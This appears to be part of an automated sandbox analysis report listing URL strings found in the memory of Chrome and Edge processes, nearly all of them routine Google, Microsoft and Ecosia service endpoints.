Source: chrome.exe, 00000002.00000003.2210732916.00003A6C00974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2174133901.00003A6C0071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardb
Source: chrome.exe, 00000002.00000002.2315312589.00003A6C00904000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardhttps://labs.google.com/search/experiments
Source: chrome.exe, 00000002.00000003.2174133901.00003A6C0071C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2305560950.0000279002C28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiments
Source: chrome.exe, 00000002.00000002.2301485283.0000279002654000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2218739379.0000279003568000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2218643389.0000279004124000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2217322733.0000279003558000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2218688244.0000279004140000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2310272412.000027900360D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search?source=ntp
Source: chrome.exe, 00000002.00000003.2188255416.000027900260C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2188524508.0000279003430000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2188623753.0000279003494000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/upload
Source: chrome.exe, 00000002.00000003.2188255416.000027900260C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2188524508.0000279003430000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2188623753.0000279003494000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/uploadbyurl
Source: chrome.exe, 00000002.00000003.2210732916.00003A6C00974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2174133901.00003A6C0071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/2
Source: chrome.exe, 00000002.00000003.2174661410.00003A6C00878000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2188623753.0000279003494000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload
Source: chrome.exe, 00000002.00000003.2174133901.00003A6C0071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload2
Source: chrome.exe, 00000002.00000002.2315393397.00003A6C00920000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadSidePanelCompanionDesktopM116Plus
Source: chrome.exe, 00000002.00000002.2315393397.00003A6C00920000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadSidePanelCompanionDesktopM116PlusEnabled_UnPinned_NewTab_20230918=
Source: chrome.exe, 00000002.00000002.2315280741.00003A6C008D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadcompanion-iph-blocklisted-page-urlsexps-registration-success-page-u
Source: chrome.exe, 00000002.00000003.2208824506.0000279003868000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lensfrontend-pa.googleapis.com/v1/crupload2
Source: chrome.exe, 00000002.00000002.2300335124.00002790023D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2176745349.00002790023E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://m.google.com/devicemanagement/data/api
Source: chrome.exe, 00000002.00000002.2311065553.0000279003F30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/
Source: chrome.exe, 00000002.00000002.2309844553.0000279003488000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2301371654.00002790025C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/:
Source: chrome.exe, 00000002.00000002.2301485283.0000279002654000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2218739379.0000279003568000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2218643389.0000279004124000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2217322733.0000279003558000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2218688244.0000279004140000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2310272412.000027900360D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?tab=rm&ogbl
Source: chrome.exe, 00000002.00000002.2303446371.000027900297C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2309844553.0000279003488000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2300421934.000027900240C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306748660.0000279002E84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2301371654.00002790025C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?usp=installed_webapp
Source: chrome.exe, 00000002.00000002.2309844553.0000279003488000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2301371654.00002790025C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/J
Source: chrome.exe, 00000002.00000002.2309673079.00002790033E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2301371654.00002790025C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/installwebapp?usp=chrome_default
Source: chrome.exe, 00000002.00000002.2303446371.000027900297C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/installwebapp?usp=chrome_defaultG
Source: msedge.exe, 00000006.00000002.2304995182.00000CC402594000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.cn/
Source: msedge.exe, 00000006.00000002.2304995182.00000CC402594000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.com/
Source: chrome.exe, 00000002.00000002.2309349709.00002790032E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2303960406.0000279002A54000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2301841693.000027900272C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2302432825.000027900280C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/?utm_source=ga-chrome-actions&utm_medium=manageGA
Source: chrome.exe, 00000002.00000002.2301688574.00002790026D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2304676041.0000279002B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2303019365.0000279002900000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacy
Source: chrome.exe, 00000002.00000002.2301688574.00002790026D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2304676041.0000279002B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2303019365.0000279002900000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhone
Source: chrome.exe, 00000002.00000002.2301688574.00002790026D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhoneaf
Source: chrome.exe, 00000002.00000003.2208824506.0000279003868000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/shielded-email2B
Source: chrome.exe, 00000002.00000002.2301688574.00002790026D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2304676041.0000279002B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2303019365.0000279002900000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/signinoptions/password?utm_source=ga-chrome-actions&utm_medium=changePW
Source: chrome.exe, 00000002.00000002.2305710635.0000279002C88000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2186267759.0000279003294000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2304835415.0000279002B7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myactivity.google.com/
Source: chrome.exe, 00000002.00000002.2300335124.00002790023D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oauthaccountmanager.googleapis.com/
Source: chrome.exe, 00000002.00000002.2300421934.000027900240C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oauthaccountmanager.googleapis.com/v1/issuetoken
Source: msedge.exe, 00000006.00000002.2304995182.00000CC402594000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://office.net/
Source: chrome.exe, 00000002.00000003.2218688244.0000279004140000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2217288716.00002790041D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogads-pa.googleapis.com
Source: chrome.exe, 00000002.00000002.2305940342.0000279002CD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogads-pa.googleapis.com/$rpc/google.internal.onegoogle.asyncdata.v1.AsyncDataService/GetAsyn
Source: chrome.exe, 00000002.00000002.2306144030.0000279002D38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com
Source: chrome.exe, 00000002.00000003.2218688244.0000279004140000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2217288716.00002790041D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com/widget/app/so?eom=1
Source: chrome.exe, 00000002.00000003.2218688244.0000279004140000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2217288716.00002790041D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com/widget/callout?eom=1
Source: chrome.exe, 00000002.00000002.2308342086.00002790030CF000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2310027062.00002790035A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2309009255.00002790031D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2307883655.0000279003024000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1&target=OPTIMIZATION_TARGET_PAGE_TOPICS_
Source: chrome.exe, 00000002.00000002.2308507932.00002790030E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2309043016.00002790031DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306654928.0000279002E58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2300539119.000027900248C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2310272412.000027900360D000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2305560950.0000279002C28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306417287.0000279002DD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1673999601&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000002.00000002.2308342086.00002790030CF000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2309043016.00002790031DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1678906374&target=OPTIMIZATION_TARGET_OMN
Source: chrome.exe, 00000002.00000002.2308342086.00002790030CF000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2310027062.00002790035A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2309009255.00002790031D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1679317318&target=OPTIMIZATION_TARGET_LAN
Source: chrome.exe, 00000002.00000002.2308342086.00002790030CF000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2310027062.00002790035A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2309009255.00002790031D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2309043016.00002790031DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049402&target=OPTIMIZATION_TARGET_GEO
Source: chrome.exe, 00000002.00000002.2300857831.00002790024D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2308342086.00002790030CF000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2310027062.00002790035A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2309009255.00002790031D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049414&target=OPTIMIZATION_TARGET_NOT
Source: chrome.exe, 00000002.00000002.2308342086.00002790030CF000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2310027062.00002790035A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2309009255.00002790031D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2305102447.0000279002BC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695051229&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000002.00000002.2308507932.00002790030E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2309043016.00002790031DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306946389.0000279002EEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2310272412.000027900360D000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306417287.0000279002DD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=210230727&target=OPTIMIZATION_TARGET_CLIE
Source: chrome.exe, 00000002.00000002.2301743790.00002790026FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/v1:GetHints
Source: msedge.exe, 00000006.00000003.2293035960.00000CC402470000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/AddSession
Source: msedge.exe, 00000006.00000003.2293035960.00000CC402470000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/Logout
Source: msedge.exe, 00000006.00000003.2293035960.00000CC402470000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/LogoutYxABzen
Source: msedge.exe, 00000006.00000003.2293035960.00000CC402470000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/MergeSession
Source: msedge.exe, 00000006.00000003.2293035960.00000CC402470000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/OAuthLogin
Source: msedge.exe, 00000006.00000003.2293035960.00000CC402470000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/RotateBoundCookies
Source: msedge.exe, 00000006.00000003.2293035960.00000CC402470000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/chrome/blank.html
Source: msedge.exe, 00000006.00000003.2293035960.00000CC402470000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/o/oauth2/revoke
Source: msedge.exe, 00000006.00000003.2293035960.00000CC402470000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth/multilogin
Source: msedge.exe, 00000006.00000003.2293035960.00000CC402470000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v1/userinfo
Source: msedge.exe, 00000006.00000003.2293035960.00000CC402470000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v2/tokeninfo
Source: msedge.exe, 00000006.00000003.2293035960.00000CC402470000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v4/token
Source: msedge.exe, 00000006.00000003.2293035960.00000CC402470000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/reauth/v1beta/users/
Source: msedge.exe, 00000006.00000003.2293035960.00000CC402470000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/v1/issuetoken
Source: chrome.exe, 00000002.00000002.2305710635.0000279002C88000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2186267759.0000279003294000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2304835415.0000279002B7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com/settings?referrer=CHROME_NTP
Source: chrome.exe, 00000002.00000003.2188255416.000027900260C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2188524508.0000279003430000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2188623753.0000279003494000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com?referrer=CHROME_NTP
Source: chromecache_94.4.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: chromecache_98.4.dr	String found in binary or memory: https://plus.google.com
Source: chromecache_98.4.dr	String found in binary or memory: https://plus.googleapis.com
Source: chrome.exe, 00000002.00000002.2305710635.0000279002C88000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2186267759.0000279003294000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2304835415.0000279002B7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://policies.google.com/
Source: chrome.exe, 00000002.00000003.2208824506.0000279003868000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.gcp.privacysandboxservices.com
Source: chrome.exe, 00000002.00000003.2208824506.0000279003868000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com
Source: chrome.exe, 00000002.00000003.2208824506.0000279003868000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 00000002.00000003.2208824506.0000279003868000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com
Source: chrome.exe, 00000002.00000003.2208824506.0000279003868000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 00000002.00000002.2299365620.000027900226B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/clientreport/chrome-sct-auditing
Source: chrome.exe, 00000002.00000002.2299365620.0000279002254000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sctauditing-pa.googleapis.com/v1/knownscts/length/$1/prefix/$2?key=AIzaSyBOti4mM-6x9WDnZIjIe
Source: chrome.exe, 00000002.00000002.2300335124.00002790023D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://securitydomain-pa.googleapis.com/v1/
Source: chrome.exe, 00000002.00000003.2208824506.0000279003868000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.com2
Source: chrome.exe, 00000002.00000003.2208824506.0000279003868000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.comJv
Source: chrome.exe, 00000002.00000002.2301743790.00002790026FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306748660.0000279002E84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2303388307.0000279002960000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000002.00000002.2301743790.00002790026FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306748660.0000279002E84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2303388307.0000279002960000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actionsactions
Source: chrome.exe, 00000002.00000003.2206110966.0000279002538000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: chrome.exe, 00000002.00000002.2301485283.0000279002654000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2218739379.0000279003568000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2218643389.0000279004124000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2217322733.0000279003558000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2218688244.0000279004140000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com/gb/images/bar/al-icon.png
Source: chrome.exe, 00000002.00000002.2305560950.0000279002C28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t0.gstatic.com/faviconV2
Source: chrome.exe, 00000002.00000002.2300335124.00002790023D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tasks.googleapis.com/
Source: chromecache_98.4.dr	String found in binary or memory: https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1
Source: 5BQwrSLxIZ.exe, 00000000.00000003.2277997554.000000002345E000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306080163.0000279002D08000.00000004.00000800.00020000.00000000.sdmp, CBAKFCBF.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: chrome.exe, 00000002.00000002.2306654928.0000279002E58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=
Source: chrome.exe, 00000002.00000002.2306654928.0000279002E58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearch
Source: chrome.exe, 00000002.00000002.2306654928.0000279002E58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearchn=opensearch
Source: chrome.exe, 00000002.00000003.2206110966.0000279002538000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com
Source: chrome.exe, 00000002.00000002.2309511850.00002790033A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: chrome.exe, 00000002.00000003.2206110966.0000279002538000.00000004.00000800.00020000.00000000.sdmp, chromecache_94.4.dr	String found in binary or memory: https://www.google.com
Source: chrome.exe, 00000002.00000003.2189570175.0000279002EDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182882614.0000279002ED4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/Char
Source: chrome.exe, 00000002.00000002.2303494988.00002790029A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/CharBl3
Source: chrome.exe, 00000002.00000002.2306654928.0000279002E58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/async/ddljson?async=ntp:2
Source: chrome.exe, 00000002.00000002.2306654928.0000279002E58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/async/ddljson?async=ntp:2erValidator
Source: chrome.exe, 00000002.00000002.2299187054.000027900220C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/async/newtab_promos
Source: chrome.exe, 00000002.00000003.2208824506.0000279003868000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/hats/index.htmlb
Source: chrome.exe, 00000002.00000002.2303446371.000027900297C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2307720917.0000279002FF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2304772917.0000279002B48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2300335124.00002790023D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/tips/
Source: chrome.exe, 00000002.00000002.2303446371.000027900297C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2307720917.0000279002FF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2304772917.0000279002B48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2300335124.00002790023D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/tips/gs
Source: 5BQwrSLxIZ.exe, 00000000.00000003.2277997554.000000002345E000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2301841693.000027900272C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2302432825.000027900280C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306502242.0000279002E0C000.00000004.00000800.00020000.00000000.sdmp, CBAKFCBF.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chrome.exe, 00000002.00000002.2301485283.0000279002654000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2218739379.0000279003568000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2218643389.0000279004124000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2217322733.0000279003558000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2218688244.0000279004140000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2310272412.000027900360D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/imghp?hl=en&tab=ri&ogbl
Source: chrome.exe, 00000002.00000003.2218688244.0000279004140000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2217288716.00002790041D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2310272412.000027900360D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/intl/en/about/products?tab=rh
Source: chrome.exe, 00000002.00000003.2208824506.0000279003868000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: chrome.exe, 00000002.00000003.2188623753.0000279003494000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=$
Source: chrome.exe, 00000002.00000002.2301743790.00002790026FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/tools/feedback/chrome/__submit
Source: chrome.exe, 00000002.00000002.2305710635.0000279002C88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/undo
Source: chrome.exe, 00000002.00000003.2218688244.0000279004140000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2217288716.00002790041D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/url?q=https://google.com/chrome/safety%3Fbrand%3DKFKH%26utm_source%3Dweb%26ut
Source: chrome.exe, 00000002.00000003.2206110966.0000279002538000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.comAccess-Control-Allow-Credentials:
Source: chrome.exe, 00000002.00000002.2299236610.0000279002220000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/
Source: chrome.exe, 00000002.00000003.2208824506.0000279003868000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/aida2
Source: chromecache_98.4.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.me
Source: chromecache_98.4.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.people.recommended
Source: chrome.exe, 00000002.00000003.2214443629.0000279003B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2214109275.0000279003B14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2214231275.0000279003B18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2214394053.0000279003B24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2214340269.0000279003B1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2214367502.0000279003B20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager
Source: chrome.exe, 00000002.00000003.2208824506.0000279003868000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager2
